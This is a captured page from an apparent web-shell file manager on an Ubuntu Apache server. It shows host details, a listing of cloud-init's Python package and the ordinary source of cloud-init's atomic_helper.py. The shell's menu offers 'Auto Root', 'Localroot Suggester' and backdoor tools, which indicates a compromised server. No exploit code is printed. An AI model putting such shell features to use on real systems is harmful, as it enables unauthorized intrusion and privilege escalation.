Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
cloudinit /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
analyze
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
cmd
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
config
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
distros
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
filters
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
handlers
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
log
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
mergers
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
net
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
reporting
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
sources
[ DIR ]
drwxr-xr-x
2026-06-23 20:32
__init__.py
0
B
-rw-r--r--
2026-02-28 07:51
apport.py
8.3
KB
-rw-r--r--
2026-02-28 07:51
atomic_helper.py
2.79
KB
-rw-r--r--
2026-02-28 07:51
cloud.py
3.22
KB
-rw-r--r--
2026-03-31 03:56
dmi.py
7.81
KB
-rw-r--r--
2026-02-28 07:51
event.py
2
KB
-rw-r--r--
2026-02-28 07:51
features.py
5.62
KB
-rw-r--r--
2026-03-31 03:56
gpg.py
7.99
KB
-rw-r--r--
2026-02-28 07:51
helpers.py
16.16
KB
-rw-r--r--
2026-02-28 07:51
importer.py
2.83
KB
-rw-r--r--
2026-02-28 07:51
lifecycle.py
7.79
KB
-rw-r--r--
2026-02-28 07:51
netinfo.py
24.07
KB
-rw-r--r--
2026-02-28 07:51
performance.py
3.1
KB
-rw-r--r--
2026-02-28 07:51
persistence.py
2.52
KB
-rw-r--r--
2026-02-28 07:51
registry.py
1022
B
-rw-r--r--
2026-02-28 07:51
safeyaml.py
10.11
KB
-rw-r--r--
2026-02-28 07:51
settings.py
2.12
KB
-rw-r--r--
2026-02-28 07:51
signal_handler.py
2.96
KB
-rw-r--r--
2026-02-28 07:51
simpletable.py
1.93
KB
-rw-r--r--
2026-02-28 07:51
socket.py
5.85
KB
-rw-r--r--
2026-02-28 07:51
ssh_util.py
22.55
KB
-rw-r--r--
2026-02-28 07:51
stages.py
41.45
KB
-rw-r--r--
2026-02-28 07:51
subp.py
12.36
KB
-rw-r--r--
2026-02-28 07:51
temp_utils.py
2.94
KB
-rw-r--r--
2026-02-28 07:51
templater.py
7.74
KB
-rw-r--r--
2026-02-28 07:51
type_utils.py
703
B
-rw-r--r--
2026-02-28 07:51
url_helper.py
38.25
KB
-rw-r--r--
2026-02-28 07:51
user_data.py
14.44
KB
-rw-r--r--
2026-02-28 07:51
util.py
90.39
KB
-rw-r--r--
2026-03-31 03:56
version.py
831
B
-rw-r--r--
2026-03-31 03:56
warnings.py
3.76
KB
-rw-r--r--
2026-02-28 07:51
Save
Rename
# This file is part of cloud-init. See LICENSE file for license information. import json import logging import os import stat import tempfile from base64 import b64decode, b64encode from cloudinit import performance, util _DEF_PERMS = 0o644 LOG = logging.getLogger(__name__) @performance.timed("Base64 decoding") def b64d(source): """base64 decode data :param source: a bytes or str to decode :return: base64 as a decoded str if utf-8 encoded, otherwise bytes """ decoded = b64decode(source) try: return decoded.decode("utf-8") except UnicodeDecodeError: return decoded @performance.timed("Base64 encoding") def b64e(source): """base64 encode data :param source: a bytes or str to decode :return: base64 encoded str """ if not isinstance(source, bytes): source = source.encode("utf-8") return b64encode(source).decode("utf-8") def write_file( filename, content, mode=_DEF_PERMS, omode="wb", preserve_mode=False ): """open filename in mode omode, write content, set permissions to mode""" with performance.Timed(f"Writing {filename}"): return _write_file(filename, content, mode, omode, preserve_mode) def _write_file( filename, content, mode=_DEF_PERMS, omode="wb", preserve_mode=False ): if preserve_mode: try: file_stat = os.stat(filename) mode = stat.S_IMODE(file_stat.st_mode) except OSError: pass tf = None try: dirname = os.path.dirname(filename) util.ensure_dir(dirname) tf = tempfile.NamedTemporaryFile(dir=dirname, delete=False, mode=omode) LOG.debug( "Atomically writing to file %s (via temporary file %s) - %s: [%o]" " %d bytes/chars", filename, tf.name, omode, mode, len(content), ) tf.write(content) tf.close() os.chmod(tf.name, mode) os.rename(tf.name, filename) except Exception as e: if tf is not None: os.unlink(tf.name) raise e def json_serialize_default(_obj): """Handler for types which aren't json serializable.""" try: return "ci-b64:{0}".format(b64e(_obj)) except AttributeError: return "Warning: redacted unserializable type {0}".format(type(_obj)) @performance.timed("Dumping json") def json_dumps(data): """Return data in nicely formatted json.""" return json.dumps( data, indent=1, sort_keys=True, separators=(",", ": "), default=json_serialize_default, ) def write_json(filename, data, mode=_DEF_PERMS): # dump json representation of data to file filename. return write_file( filename, json_dumps(data) + "\n", omode="w", mode=mode, )